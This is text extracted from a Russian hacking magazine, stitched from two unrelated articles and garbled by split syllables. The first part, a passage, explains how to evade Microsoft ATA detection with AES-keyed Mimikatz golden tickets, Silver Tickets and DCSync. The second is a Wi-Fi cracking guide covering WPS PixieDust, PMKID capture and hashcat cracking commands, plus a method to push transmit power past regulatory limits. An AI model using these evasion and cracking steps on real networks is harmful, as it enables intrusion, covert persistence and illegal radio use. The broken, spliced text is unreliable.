В  таком  слу чае  мы  успешно  выпол ним Overpath‐The‐Hash  и  избе жим  обна‐ 
руже ния с помощью АТА.

Golden Ticket
До пус тим,  мы  соз дали  «золотой  билет»  и  даже  успешно  сох ранили  его
в  память.  Но  как  толь ко  мы  обра тим ся  к  ресур су  в  домене,  АТА  обна ружит
это  и  клас сифици рует  как  событие  .  Так
как  при чина  события  такая  же,  что  и  в  слу чае  с  Overpath‐The‐Hash,  то
и решение такое же — клю чи AES.

Encryption  downgrade  activity

Invoke‐Mimikatz ‐Command '"kerberos::golden /User:[USER] /domain:[
DOMAIN] /sid:[SID] /aes256:[ключ AES256] /id:[ID] /groups:[GROUP] /
ptt"'

Та ким  обра зом  мы  можем  сге нери ровать  золотой  билет  и  в  даль нейшем
исполь зовать его без рис ка быть обна ружен ным с помощью АТА.

Что не обна ружи вает ся с помощью АТА
Как  уже  было  отме чено,  ска ниро вание  SPN  не  под лежит  детек тирова нию
с помощью АТА, так как нет вза имо дей ствия с кон трол лером домена. По той
же  при чине  не  будут  обна руже ны  и  ата ки  на  сер веры  Microsoft  SQL  Server
и базы дан ных.

При  наличии NTLM‐хеша  учет ной  записи  служ бы мы можем  соз дать  TGS
и пре дос тавить его служ бе для получе ния дос тупа  (Silver Ticket). Так как при
этой  опе рации  отсутс тву ет  вза имо дей ствие  с  кон трол лером  домена,  АТА
не может обна ружить исполь зование Silver Ticket.

Тех ника повыше ния при виле гий до SYSTEM из груп пы DnsAdmins не обна‐ 
ружи вает ся ATA.

При исполь зовании довери тель ных отно шений меж ду домена ми по умол‐ 
чанию  исполь зует ся  шиф рование  RC4,  то  есть  исклю чает ся  воз можность
пониже ния  шиф рования.  Поэто му  АТА  не  обна ружи вает  исполь зование
довери тель ных отно шений  (за исклю чени ем слу чаев,  ког да адми нис тра торы
в свой ствах доверия во всех доменах не вклю чат под дер жку AES).

Во  всех  слу чаях  реп ликаций  с  помощью  DCSync  ты  будешь  обна ружен
и зарегис три рован АТА,  кро ме одно го:  ког да DCSync выпол няет ся с одно го
из  кон трол леров  домена.  Это  легитим ная  опе рация  меж ду  кон трол лерами
домена,  и  в  таких  дей стви ях  нет  никаких  ано малий,  то  есть  и  реак ции  АТА
не пос леду ет.

В  этой  статье  при веде ны  не  все  тех ники  укло нения  от  обна руже ния.
Осталь ные  средс тва  обна руже ния  и  спо собы  их  обхо да  будут  рас смот рены
в сле дующих пуб ликаци ях.
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ВЗЛОМ

Са мый  надеж ный  спо соб  про верить
безопас ность  сети  —  это  поп робовать  ее
взло мать. В «Хакере» уже не раз пуб ликова‐ 
лись руководс тва по ауди ту Wi‐Fi,  но  такие
гай ды  быс тро  уста рева ют.  Единс твен ный
спо соб акту али зиро вать их — сно ва прой ти
весь  путь  самос тоятель но  и  поделить ся
све жим опы том. Имен но это я и пос тарал ся
сде лать.

ЧТО НУЖНО ДЛЯ АУДИТА БЕСПРОВОДНЫХ СЕТЕЙ?
Уни вер саль ный джентль мен ский набор: ноут бук с «Линук сом» и Wi‐Fi‐адап тер
с  интерфей сом  USB  (их  еще  называ ют  дон гла ми).  Мож но  исполь зовать
и  ,  но  для  некото рых  атак  баналь но  тре бует ся  вто рой  USB‐порт.
Годит ся даже ноут бук без уста нов ленной ОС и вооб ще без накопи теля.
смар тфон

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в обра зова тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

Ка кую ОС взять для вар драй вин га?
«Линукс»  поз воля ет  тон ко  управлять  устрой ства ми  (в  час тнос ти,  дон гла ми)
через  опен сор сные  драй веры.  Под ходит  прак тичес ки  любой  дис три бутив,
но  удоб нее  вос поль зовать ся  готовой  сбор кой.  Нап ример,  ,

,  ,  .
BlackArch

BackBox Parrot Security Kali Linux
На ибо лее  рас кру чены  сбор ки  Kali  Linux,  в  которые  уже  интегри рова ны

не толь ко наборы хакер ских ути лит, но и драй веры боль шинс тва потен циаль‐ 
но при год ных для вар драй вин га чипов плюс изна чаль но сде ланы мел кие тви‐ 
ки.

INFO

В  пос ледних  выпус ках  Kali  очень  мно гое  пере‐ 
осмысле но.  Теперь  она  может  внеш не  мимик‐ 
рировать под вин ду (что бы тебя не спа лили, уви‐ 
дев  стран ное  на  монито ре),  рут  по  умол чанию
отклю чен  (либо  вклю чай,  либо  пиши 
перед коман дами, тре бующи ми пра ва супер поль‐ 
зовате ля).  Самое  глав ное,  в  Kali  теперь  сра зу
под держи вают ся  новые  дон глы  стан‐ 
дарта 802.11ac и край не прос то уве личить мощ‐ 
ность Wi‐Fi‐адап тера.

sudo

Как исполь зовать на ноуте Linux, не сно ся вин ду?
Раз работ чики не рекомен дуют  уста нав ливать Kali  на жес ткий диск,  хотя  тех‐ 
ничес ки  вари ант  с  муль тизаг рузкой  впол не  реали зуем  через  тот  же  .
Прос то  гра ницы закон ных дей ствий во вре мя ауди та очень раз мыты, и ради
тво ей  же  безопас ности  луч ше  исполь зовать  режим  Live  Persistence.  Работа
в  нем  поч ти  не  будет  отли чать ся  от  работы  в  уста нов ленной  опе раци онке.
Все обновле ния,  кон фиги, новые скрип ты и  твои лич ные фай лы под хва тят ся
при  сле дующей  перезаг рузке  в  режиме  Persistence.  Для  боль шей  при ват‐ 
ности его мож но зашиф ровать.

GRUB

На  мой  взгляд,  кар та  памяти  удоб нее  флеш ки,  так  как  она  не  занима ет
порт USB и не  тор чит под рукой. Пор ты  (осо бен но с раз дель ным питани ем)
всег да в дефици те на ноут буках. Бери кар точку хотя бы с мар киров кой Class
10  (заяв ленная  ско рость  линей ной  записи  10  Мбайт/с),  а  луч ше  —  UHS‐I
V30 и шус трее (если встро енный кар три дер ее под держи вает).

Как сде лать заг рузоч ную флеш ку с Kali и раз делом Persistence?
Для  это го  на  USB  Flash  или  SD‐кар точке  нуж но  соз дать  два  раз дела.  Один
будет FAT32 для запус ка ОС — на него рас паковы вает ся  . Вто‐ 
рой раз дел — ext3 для сох ранения нас тро ек, собс твен ных фай лов и сес сион‐ 
ных изме нений.

об раз с kali.org

Схе ма раз метки с раз делом Persistence

Windows не уме ет работать с флеш ками, на которых боль ше одно го раз дела,
и не под держи вает ext3. Одна ко в ней такая раз метка эле мен тарно дела ется
бес плат ной  ути литой  .  Глав ное  —  запус кать  обыч ную  вер сию  (не
portable).

Rufus

Соз даем флеш ку

Ка кой Wi-Fi-адап тер под ходит для вар драй вин га?
В  общем  слу чае  —  спо соб ный  перек лючать ся  в  режим  монито рин га  (обя‐ 
затель но)  и  выпол нять  инжект  сетевых  пакетов  (желатель но).  Может  он
это или нет — зависит от чипа, на котором пос тро ен адап тер, и его драй вера.
Уни вер саль ная  методи ка  под бора  под ходящих  дон глов  опи сана  в 

. По сути она акту аль на и сей час, одна ко сайт wikidevi.com дав но лежит,
поэто му вмес то него исполь зуем  .

этой
статье

kernel.org
На  этом  сай те  есть  таб лица  драй веров  Wi‐Fi  для  Linux.  Нас  инте ресу ют

не все, а толь ко те, для которых в стол бце monitor ука зано yes, в сле дующей
колон ке (PHY modes) при сутс тву ет обоз начение N или AC (гаран тия того, что
исполь зуют ся срав нитель но новые стан дарты), а в гра фе Bus — USB.

До пол нитель ную информа цию о драй верах мож но взять из 
в  англо языч ной  Вики.  Прин цип  тот  же  —  ищем  сочета ние  парамет ров:
802.11n(ac) + monitor mode + USB.

двух  таб личек

На момент под готов ки статьи (январь 2020‐го) в сухом остатке ока зались
сле дующие  драй веры:  ath9k_htc,  carl9170,  mt76,  mt7601u,  p54,  rt2800usb,
rt2x00, rtl8187, rtl8192cu, zd1211, zd1211rw.

Кли каем по ссыл ке на опи сание каж дого под ходяще го драй вера и видим
спи сок  под держи ваемых  им  чип сетов,  а  затем  и  устрой ств.  Нап ример,  вот
стра нич ка  о  драй вере  .  На  ней  при водит ся  спи сок  чип сетов  (с
USB  —  толь ко  AR9271)  и  выпус кавших ся  на  нем  .  Его  изу чение
показы вает,  что  нам  подой дет  TL‐WN722N,  пос коль ку  он  осна щен  съем ной
внеш ней антенной.

ath9k_htc
де вай сов

По  ана логии  смот рим  дру гие  драй веры/чипы/девай сы  и  сос тавля ем
перечень моделей. Затем выбира ем из них пос вежее и покупа ем один  (для
стар та)  или  нес коль ко  дон глов.  Здесь  нуж но  быть  вни матель ным  с  вер сией
устрой ства. Час то модели с одним номером, но раз ной ревизи ей — это прос‐ 
то два раз ных девай са в оди нако вом кор пусе.

Спис ки драй веров обновля ются волон терами, то есть с неп ред ска зуемы‐ 
ми задер жка ми. В реаль нос ти перечень под ходящих  чипов боль ше. Рань ше
он  сво дил ся  в  основном  к  моделям  от  Ralink  и  Atheros,  а  сей час  вне зап но
попол нился Realtek RTL8812AU и  . Пос ледний работа ет с 802.11ac
и, помимо режима монито рин га, под держи вает инжект пакетов. Прав да, ему
нужен USB 3.0 (900 мА и 5 Гбит/с вмес то 500 мА и 0,48 Гбит/с у USB 2.0).

RTL8814AU

За чем покупать нес коль ко Wi-Fi-адап теров?
Для  выпол нения  прод винутых  атак  (нап ример,  «злой  клон»)  и  повыше ния
веро ятности  успе ха  любых  дру гих.  Прос то  потому,  что  нет  уни вер саль ного
адап тера. У каж дого свои осо бен ности. Нап ример, упо мяну тые выше дон глы
на базе AR9271 луч ше справ ляют ся с ата ками на WPS. Устрой ства с чипами
RT3572, RT5572 и RTL881xAU могут ата ковать цели в диапа зоне 5 ГГц, а ста‐ 
рич ки  с  чипом  RTL8187L  видят  цель  за  сот ни  мет ров  из‐за  под дер‐ 
жки  802.11g.  Конеч но,  стан дарт  мораль но  уста рел,  одна ко  его  час то  вклю‐ 
чают  в  режиме  сов мести мос ти  даже  на  новых  роуте рах  с  под дер‐ 
жкой 802.11ac/ax.

По чему для вар драй вин га совету ют дон глы от Alfa Networks?
Этот  тай вань ский  про изво дитель  спе циали зиру ется  на  бес про вод ном  обо‐ 
рудо вании,  при чем  дела ет  его  чуть  луч ше  (и  гораз до  дороже)  дру гих.  Нап‐ 
ример, во мно гих его адап терах встре чает ся экра ниро вание (повыша ет чувс‐ 
тви тель ность  при емни ка)  или  встро енный  уси литель  (уве личи вает  пиковую
мощ ность  передат чика).  Поч ти  все модели  осна щены  съем ными  антенна ми
(ты можешь прик рутить свою, более под ходящую). Для удобс тва выбора есть
даже  спе циаль ный  раз дел  ,  где  ука заны  адап теры,  гаран‐ 
тирован но работа ющие в Kali Linux в режиме монито рин га. Если есть день ги,
но нет вре мени — бери «Аль фу», не оши бешь ся. Это как Cisco для адми нов.

Kali  WiFi  USB

КАКИЕ НАСТРОЙКИ СДЕЛАТЬ ПЕРЕД АУДИТОМ?
За пус тив  Kali  в  дефол тных  кон фигах  и  вот кнув  све жерас пакован ный  Wi‐Fi‐
адап тер, ты смо жешь взло мать раз ве что свой роутер, сто ящий в той же ком‐ 
нате.  Что бы  выяс нить  воз можность  уда лен ной  ата ки  с  ули цы  (или  хотя  бы
из сосед него помеще ния), тре бует ся сде лать сле дующее:

от клю чить энер госбе реже ние для Wi‐Fi‐адап тера;•
по высить мощ ность дон гла;•
под готовить сло вари для перебо ра паролей;•
об новить весь интегри рован ный софт и уста новить допол нитель ный;•
про верить и сох ранить изме нения.•

Как отклю чить энер госбе реже ние для Wi-Fi-адап тера в Kali?
В тер минале пишем:

iw dev # Выводим список Wi‐Fi‐адаптеров и отыскиваем внешний донгл 
по его MAC‐адресу
iw dev wlan1 set power_save off # Здесь внешнему донглу присвоено 
имя wlan1

Ес ли  отклю чишь  энер госбе реже ние  и  повысишь  мощ ность  адап тера,
не  забудь  орга низо вать  ему  охлажде ние.  Так же  луч ше  исполь зовать  пор ты
USB 3.0 или уси лен ные по питанию USB 2.0. Обыч но их выделя ют цве том.

Как повысить мощ ность Wi-Fi-адап тера?
Есть два спо соба рас кочега рить их. Пер вый — через гло баль ные нас трой ки
в Kali. Он под ходит для тех адап теров, которые счи тыва ют код реги она из ОС.

Спо соб 1
Сна чала смот рим текущие парамет ры:

  показы вает  спи сок  бес про вод ных  адап теров  и  их  мак сималь но
раз решен ную нас трой ками мощ ность. Обыч но мы видим 

  (+20  децибел  по  отно шению  к  мил ливат ту),  что  в  теории  озна чает
мощ ность передат чика 100 мВт, а на прак тике — что твой «свис ток» ата‐ 
куемые роуте ры, ско рее все го, не услы шат;

• iw dev

txpower 20.00

dBm

 отоб ража ет гло баль ные нас трой ки огра ниче ний по исполь‐ 
зованию  Wi‐Fi.  В  час тнос ти,  код  стра ны  по  стан дарту  ISO  3166‐1,  дос‐ 
тупные  час тотные  диапа зоны  и  ширину  каналов.  Если  ука зано 

, то стра на не задана и дей ству ют жес ткие огра ниче ния.

• iw reg get

country 

00

На ибо лее либераль ные нор мативы для Wi‐Fi у Гай аны (GY) и Белиза (BZ), где
раз реша ется в десять раз боль шая мощ ность Wi‐Fi‐адап теров. Соот ветс тву‐ 
ющая запись в базе выг лядит так: country BZ: DFS‐JP. (2402 ‐ 2482 @ 40), (30).
(5735 ‐ 5835 @ 80), (30). Аббре виату ра DFS пос ле кода стра ны озна чает Dy‐
namic Frequency Selection — динами чес кий выбор час тоты. Он может выпол‐ 
нять ся по аме рикан ской (FCC), евро пей ской (ETSI) или япон ской (JP) схе ме.
Изме нять ее не надо.

Даль ше  ука зыва ется  час тотное  окно  в  диапа зонах  2,4  и  5  ГГц  и ширина
канала  в  мегагер цах. От  этих  парамет ров  зависит,  сколь ко  каналов  ты  уви‐ 
дишь.

Что бы сме нить реги он, прос то пишем в тер минале:

iw reg set BZ # Мысленно переносимся в Белиз вместе с ноутбуком
ip link set wlan1 down # Отключаем внешний донгл, обозначенный как 
wlan1
iw dev wlan1 set txpower fixed 23 mBm # Увеличиваем вдвое мощность 
передатчика

Шка ла  здесь  логариф мичес кая,  поэто му  повыше ние  мощ ности  в  два  раза
(до 200 мВт) соот ветс тву ет  уси лению на 3 dBm (до 23 дБм). Про ще говоря,
TxPower(dBm) = 10 * LOG(P/1), где P — мощ ность в мил ливат тах.

Ме няем реги он и получа ем 1000 мВт

Не спе ши сра зу вру бать донгл на пол ную. Для каж дого девай са есть разум‐ 
ный пре дел,  который под бира ется экспе римен таль но. У меня один из адап‐ 
теров ста биль нее работа ет на 27 дБм (500 мВт), чем на 30 дБм (1000 мВт),
а дру гой вооб ще бес полез но гнать выше 23 дБм.

Ес ли  же  тебе  пос час тли вилось  купить  качес твен ный  донгл  с  боль шим
запасом по мощ ности (нап ример, улич ного исполне ния), то поп робуй ука зать
реги он  . Это Панама, где раз решены передат чики до 4 Вт (36 дБм). Прав‐ 
да,  от  пор та USB  2.0  ты  столь ко  не  получишь —  нужен USB  3.0  или  допол‐ 
нитель ное питание.

PA

Спо соб 2
Ис поль зует ся  для  тех Wi‐Fi‐адап теров,  у  которых  реги ональ ный  код  про шит
в собс твен ной памяти. Нап ример, это все встре чав шиеся мне адап теры Alfa
Networks.  Они  игно риру ют  гло баль ные  нас трой ки  (вклю чая  iw  reg  set  BZ),
поэто му  при дет ся  менять  сами  огра ниче ния  для  той  стра ны,  которая  уже
записа на в памяти дон гла.

iw reg get # Узнаем, для какой страны выпущен адаптер
git clone https://kernel.googlesource.com/pub/scm/linux/kernel/git/
sforshee/wireless‐regdb # Клонируем себе базу региональных 
ограничений Wi‐Fi
cd wireless‐regdb/ # Переходим в этот каталог
gedit db.txt # Правим исходник базы

Ме няем огра ниче ния мощ ности передат чиков Wi‐Fi в реги ональ ных нас ‐
трой ках

На ходим нуж ную стра ну по коду и вмес то 20 (дБм) в скоб ках вез де пишем 30
(или вооб ще 33, то есть 2000 мВт). Ана логич ные изме нения дела ем для coun‐
try 00 (да хоть для всех стран) и сох раня ем  .db.txt

Рань ше, что бы ском пилиро вать базу из тек сто вого фай ла и под писать ее,
тре бова лось  уста новить  обо лоч ку  Python  для  биб лиоте ки  OpenSSL,  но  в
новой  вер сии  Kali  она  уже  есть  (python3‐m2crypto).  Поэто му  прос то  пишем
коман ду   и получа ем новый  , где все огра ниче ния сня ты
(точ нее, заданы заведо мо боль шими).

make regulatory.bin

Де лаем свою базу с раз решени ями на более мощ ный Wi‐Fi

Да лее  уда ляем  ста рую  (ори гиналь ную)  базу,  копиру ем  вмес то  нее  нашу
(модифи циро ван ную),  копиру ем  наш  откры тый  ключ  (пос коль ку  база  име ет
циф ровую под пись) и ребутим ся.

rm /lib/crda/regulatory.bin
cp regulatory.bin /lib/crda/regulatory.bin
cp $USER.key.pub.pem /lib/crda/pubkeys/
reboot

Ме няем огра ниче ния мощ ности в реги ональ ных нас трой ках

Все!  Теперь  пос ле  перезаг рузки  в  Live  USB  Persistence  выс тавля ем  адап‐ 
терам повышен ную мощ ность стан дар тным спо собом.

ip link set wlan1 down # Выключили донгл
iw dev wlan1 set txpower fixed 23 mBm # Повысили мощность вдвое
ip link set wlan1 up # Включили донгл

Про веря ем резуль тат:

iw reg get

Дол жно быть при мер но так (здесь уве личе ние мощ ности на 10 дБм).

По выси ли мощ ность Wi‐Fi‐адап тера в десять раз

КАКУЮ АНТЕННУ ИСПОЛЬЗОВАТЬ ДЛЯ ВАРДРАЙВИНГА?
За висит от кон крет ных задач. Одни обес печива ют широту охва та, дру гие поз‐ 
воля ют дотянуть ся до далекой точ ки дос тупа, фокуси руя ЭМИ узким лучом.

Раз ведку в эфи ре удоб нее выпол нять с диполь ными антенна ми, у которых
широкий угол излу чения, но низ кий коэф фици ент уси ления (КУ). Эти величи‐ 
ны  всег да  вза имос вязаны,  пос коль ку  антенна  не  добав ляет  мощ ности,
а  прос то  фокуси рует  элек тро маг нитные  вол ны.  Поэто му  при  вер тикаль ной
ори ента ции в  горизон таль ном нап равле нии связь  улуч шает ся,  а  в дру гом  (в
сто рону вер хних и ниж них эта жей) — ухуд шает ся.

Са мая  широкая  диаг рамма  нап равлен ности  у  кро шеч ных  антенн  с  КУ
до  5  дБи.  Здесь  ради  мар кетин гового  эффекта  исполь зует ся  децибел
по отно шению не к мил ливат ту, а к изот ропно му излу чате лю — матема тичес‐ 
кой модели антенны с диаг раммой в виде сфе ры. Если покупа тель видит две
антенны,  у  которых  написа но  «5  дБи»  и  «3  дБм»,  то  счи тает  пер вую  «более
мощ ной», хотя они прак тичес ки иден тичны.

Прос тые  диполь ные  антенны  час то  пред лага ются  в  ком плек те,  и  для
начала  их  впол не  дос таточ но.  Затем  рекомен дую  поп робовать  антенну 

 с КУ 9 дБи — мак сималь но разум ным для все нап равлен ных антенн.
Это длин ная удоч ка с более узким углом излу чения, зато и даль ность уве рен‐ 
ного при ема боль ше.

Alfa
ARS‐N19

Глав ные недос татки таких антенн — габари ты (у ARS‐N19 — 39 см, в кар‐ 
ман  не  положишь)  и  неболь шой  час тотный  диапа зон  (либо  2,4  ГГц,
либо 5 ГГц). Поэто му одной не обой тись.

Бо лее ком пак тная и уни вер саль ная антенна —  . Она панель‐ 
ная  (час тично  нап равлен ная)  и  двух диапа зон ная.  На  час тоте  2,4  ГГц  обес‐ 
печива ет  КУ  8  дБи,  а  на  5  ГГц  —  10  дБи.  С  ней  удоб но  ата ковать  пред‐ 
варитель но выб ранные точ ки дос тупа, рас положе ние которых ты хотя бы при‐ 
мер но  пред став ляешь.  Антенну  при дет ся  как  откло нять  по  вер тикали,  так
и кру тить по горизон тали, что бы нацелить ся на выб ранный роутер.

Alfa APA‐M25

Сов сем  хар дкор ные  вари анты  —  нап равлен ные  антенны  с  боль шим  КУ
и очень узким лучом (сек торной диаг раммой нап равлен ности). Такими мож но
дос тать  цель  хоть  за  километр,  но  выпол нить  и  зафик сировать  их  точ ное
наведе ние край не слож но. Раз рабаты вались они пре иму щес твен но для стан‐ 
дартов  802.11b/g  —  даль нобой ных,  но  мед ленных.  Попыт ка  при менять  их
для  свя зи  по  стан дарту  802.11n  и  тем  более  802.11ac  оправдан на  толь ко
в исклю читель ных слу чаях.

Как подоб рать положе ние антенны?
Са мый прос той спо соб — запус тить скрипт Wifite2 (о нем ниже). В новой вер‐ 
сии  уро вень  сиг нала  всех  най ден ных  точек  дос тупа  обновля ется  каж дую
секун ду  —  как  при  ска ниро вании,  так  и  во  вре мя  ата ки.  Прос то  мед ленно
повора чивай  антенну  спер ва  в  вер тикаль ной  плос кости,  а  затем  в  горизон‐ 
таль ной. Зафик сируй положе ние, в котором циф ры будут мак сималь ные.

Еще одно важ ное при меча ние: соот ношение сиг нал/шум так же меня ется
в зависи мос ти от рас положе ния самого адап тера, осо бен но если его пла та
не экра ниро вана. В моем экспе римен те откло нение Wi‐Fi‐адап тера Alfa Tube‐
UNA из вер тикаль ного положе ния в горизон таль ное при бави ло 7 дБм при той
же ори ента ции антенны. Выб ранная точ ка дос тупа выш ла из зоны неуве рен‐ 
ного при ема и была успешно… про инспек тирова на. :‐)

Как под клю чить нес тандар тную антенну?
На  прак тике  антенны  при ходит ся  менять,  поэто му  выбирать  сто ит  адап тер
с  разъ емом  для  под клю чения  внеш ней  антенны.  Проб лема  в  том,  что  они
быва ют раз ные и не под ходят друг к дру гу. Обыч но для обо рудо вания внут ри
помеще ний  при меня ется  мини атюр ный  разъ ем  RP‐SMA,  а  у  более  мощ ных
«улич ных»  адап теров  типа  Alfa  Tube‐UNA  —  боль шое  гнез до  N‐Type.  Под‐ 
ружить  их  помога ют  коак сиаль ные  переход ники.  Выбирай  мак сималь но
качес твен ные,  ина че  силь но  ухуд шится  соот ношение  сиг нал/шум  (SNR).
На фото показан переход ник N‐Type — RP‐SMA. Я исполь зовал его для под‐ 
клю чения антенн ARS‐N19 и APA‐M25 к Alfa Tube‐UNA со встро енным уси лите‐ 
лем сиг нала.

Под клю чаем антенну с разъ емом RP‐SMA к адап теру с гнез дом N‐Type

Продолжение статьи →
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ПЕНТЕСТА WI‐FI

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Как авто мати зиро вать аудит точек дос тупа Wi-Fi?
По рог  вхож дения  для  обу чения  взло му Wi‐Fi  пос тоян но  сни жает ся.  За  пос‐ 
ледние  пару  лет  сно ва  вырос ла  под борка  прос тых  и  эффектив ных  ути лит,
авто мати зиру ющих выпол нение боль шинс тва типов атак по каналам бес про‐ 
вод ной свя зи. Ког да‐то в Kali (тог да еще BackTrack) были толь ко сырые скрип‐ 
ты, а сей час гла за раз бега ются от оби лия готовых инс тру мен тов.

Се год ня даже не обя затель но начинать с изу чения Aircrack‐ng — пакета,
на  котором  осно ваны  прак тичес ки  все  инс тру мен ты  взло ма  Wi‐Fi.  Быс тро
получить прак тичес кий резуль тат помогут скрип ты   от Алек сея
Милосер дова и   от Derv Merkler (псев доним прог раммис та из Сиэт ла).

WiFi‐autopwner
Wifite2

Мне нра вят ся оба скрип та, но при выч нее Wifite2 и его  . Он
гра мот но  исполь зует  допол нитель ные  ути литы  для  повыше ния  эффектив‐ 
ности ауди та и  поз воля ет 

  на  все  сра зу  или  толь ко  на  ука зан ные  точ ки
дос тупа.

на род ный форк

ав томати чес ки выпол нять пять самых рас- 

простра нен ных  типов  атак

Wifite2  при меня ет  ,    и    для  выпол нения  атак  на  WPS
методом  PixieDust  или  перебо ром  пинов.  Он  исполь зует    и 
для про вер ки хен дшей ков, зах вачен ных во вре мя ата ки на WPA(2), и 

 с исполь зовани ем  .

bully tshark reaver
coWPAtty pyrit

ре али- 

зует новую ата ку на PMKID hashcat

Ус пешный зах ват хен дшей ка PMKID

Все типы атак уже отсорти рова ны по ско рос ти выпол нения. Сна чала для выб‐ 
ранной  точ ки дос тупа исполь зуют ся самые быс трые  (WPS, WEP, PMKID),  а  в
слу чае  неуда чи  скрипт  перехо дит  к  сле дующим  вари антам.  Более  того,
при вклю чении режима verbose   в тер минале выводят ся все исполь зован‐ 
ные коман ды и их резуль тат. По сути, это режим обу чения и отладки.

‐vv

КАКАЯ АТАКА НА WI-FI САМАЯ БЫСТРАЯ?
Рань ше я бы отве тил: WPS. Если на точ ке дос тупа вклю чен Wi‐Fi Protected Set‐
up, то с боль шой веро ятностью она вскры вает ся перебо ром извес тных пинов
или  более  изящ ной  ата кой  .  Спи сок  пинов  для  перебо ра  берет ся
из дефол тных кон фигов про изво дите ля, который опре деля ется по MAC‐адре‐ 
су. Делать исчерпы вающий перебор всех  вари антов  (брут форс)  чаще все го
бес смыс ленно,  так  как  пос ле  N  неудач ных  попыток  авто риза ции  по  WPS
роутер надол го бло киру ет даль нейшие.

PixieDust

Ус пешный под бор WPS PIN с помощью WiFi‐Autopwner

В любом слу чае ата ка на WPS занима ла до пяти минут и казалась ско рос тной
по срав нению с ожи дани ем зах вата хен дшей ка WPA, который потом еще надо
мучитель но дол го бру тить. Одна ко сей час появил ся новый тип ата ки — PMKID
(Pairwise Master Key Identifier). На уяз вимых роуте рах она поз воля ет зах ватить
хен дшейк за счи таные секун ды, и даже при отсутс твии под клю чен ных к нему
кли ентов!  С  ней  не  надо  никого  ждать  и  деаутен тифици ровать,  дос таточ но
одной (даже безус пешной) попыт ки авто риза ции с тво ей сто роны.

По это му  опти маль ный  алго ритм  взло…  ауди та  сле дующий:  опре деля ем,
вклю чен  ли  на  целевой  точ ке  дос тупа  режим WPS.  Если  да,  запус каем  Pix‐
ieDust.  Безус пешно?  Тог да  перебор  извес тных  пинов. Не  получи лось? Про‐ 
веря ем, не вклю чено ли шиф рование WEP, которое тоже обхо дит ся влет. Если
нет, то выпол няем ата ку PMKID на WPA(2). Если уж и так не получи лось, тог да
вспо мина ем  клас сику  и  ждем  хен дшей ка  (что бы  не  палить ся)  или  активно
кика ем кли ентов, что бы наловить их сес сии авто риза ции.

Я узнал WPS PIN, что даль ше?
Даль ше  с  его  помощью  мож но  под клю чить ся  к  роуте ру  и  узнать  пароль,
каким бы длин ным и слож ным он ни был. Вооб ще WPS — это огромная дыра
в  безопас ности.  На  сво ем  обо рудо вании  я  всег да  его  отклю чаю,  а  потом
еще про веряю Wi‐Fi‐ска нером, дей стви тель но ли WPS вык лючен.

Я перех ватил хен дшейк. Что с ним делать?
Че тырех сто рон нее рукопо жатие записы вает ся скрип том Wifite2 в файл с рас‐ 
ширени ем  ..cap

Зах ват клас сичес кого хен дшей ка WPA

TCPdump,  Wireshark,  Nmap  и  дру гие  прог раммы  исполь зуют  фор мат  .
Хен дшейк PMKID будет иметь фор мат  .

.pcap
.16800

По  умол чанию  Wifite  исполь зует  для  под бора  паролей  Aircrack‐ng.  Он
отправ ляет коман ду вида

aircrack‐ng yourhandshake.cap ‐w /yourwordlist.txt

В  прос тей ших  вари антах  это го  дос таточ но,  одна ко  чаще  при ходит ся  кон‐ 
верти ровать хен дшей ки с помощью  , что бы скор мить одной из прод‐ 
винутых ути лит для перебо ра паролей. Нап ример,   или  .

hcxtools
John the Ripper hashcat

Мне  боль ше  нра вит ся  hashcat.  Для  работы  с  ней  нуж но  кон верти ровать
.cap в фор мат  . Сде лать это мож но  так же   или локаль но  ути‐ 
литой  .  В  пос леднем  слу чае  при дет ся  ска чать  исходник  и  ском‐ 
пилиро вать его.

.hccapx он лайн
cap2hccapx

wget https://raw.githubusercontent.com/hashcat/hashcat‐utils/master/
src/cap2hccapx.c
gcc ‐o cap2hccapx‐converter cap2hccapx.c

По лучен ный  исполня емый  файл    удоб нее  закинуть
в /bin, что бы затем обра щать ся к нему отку да угод но.

cap2hccapx‐converter

mv cap2hccapx‐converter /bin

Ус пешный под бор пароля Wi‐Fi в hashcat по хен дшей ку WPA2

Точ но  так  же  бру тят ся  хеши  PMKID.  Прос то  нуж но  явно  ука зать  hashcat  тип
хен дшей ка и сло варь.

hashcat64 ‐m 2500 ‐w3 Beeline.hccapx "wordlist\wpadict.txt" # 
Перебираем пароли по своему словарю wpadict.txt к хешу из 
рукопожатия WPA(2) в файле Beeline.hccapx
hashcat64 ‐m 16800 ‐w 3 RT‐WiFi.16800 "wordlist\rockyou.txt" # 
Используем хендшейк PMKID из файла RT‐WiFi.16800 и готовый словарь 
rockyou.txt

Брут PMKID в hashcat

НА ЧЕМ БРУТИТЬ ПАРОЛИ WI-FI?
Ло каль но переби рать пароли луч ше на дес ктоп ном ком пе с мощ ной видюхой,
а если его нет, вос поль зуйся онлай новыми сер висами. Бес плат но в них пред‐ 
лага ются огра ничен ные наборы, но даже их порой дос таточ но.

Взлом двух паролей онлайн

Еще один инте рес ный вари ант — исполь зовать сеть рас пре делен ных вычис‐ 
лений. Сде лать это поз воля ет,  нап ример, Elcomsoft Distributed Password Re‐
covery. Эта  уни вер саль ная  прог рамма понима ет  десят ки фор матов  паролей
и хешей, вклю чая .cap, .pcap и .hccapx. Над одной задачей в ней одновре мен‐ 
но могут  работать  до  десяти  тысяч  компь юте ров,  объ еди няя  ресур сы  сво их
про цес соров и виде окарт.

Рас пре делен ный брут хешей WPA

Плюс  у  нее  очень  прод винутый  под ход  к  сло вар ной  ата ке.  Мож но  исполь‐ 
зовать  мас ки,  прис тавки  и  мутации,  фак тичес ки  рас ширяя  объ ем  сло варя
в нес коль ко раз.

По чему выпол няют ата ку по сло варю вмес то бру та?
Ключ  WPA(2)‐PSK  генери рует ся  дли ной  256  бит.  Чис ло  воз можных  ком‐ 

бинаций  (2   таково,  что  даже  на мощ ном  сер вере  с  гра фичес кими  уско‐ 
рите лями пот ребу ются годы для их перебо ра. Поэто му реалис тичнее выпол‐ 
нить сло вар ную ата ку.

256)

Обыч но Wifite2 дела ет это сам. Пос ле зах вата хен дшей ка он про веря ет его
качес тво.  Если  все  нуж ные  дан ные  в  нем  сох ранились,  то  авто мати чес ки
запус кает ся  ата ка  по  сло варю  .  Как  нет‐ 
рудно догадать ся, в нем все го 4800 самых рас простра нен ных паролей.

wordlist‐top4800‐probable.txt

Он  удо бен  тем,  что  быс тро  сра баты вает  даже  на  ста рень ком  ноут буке,
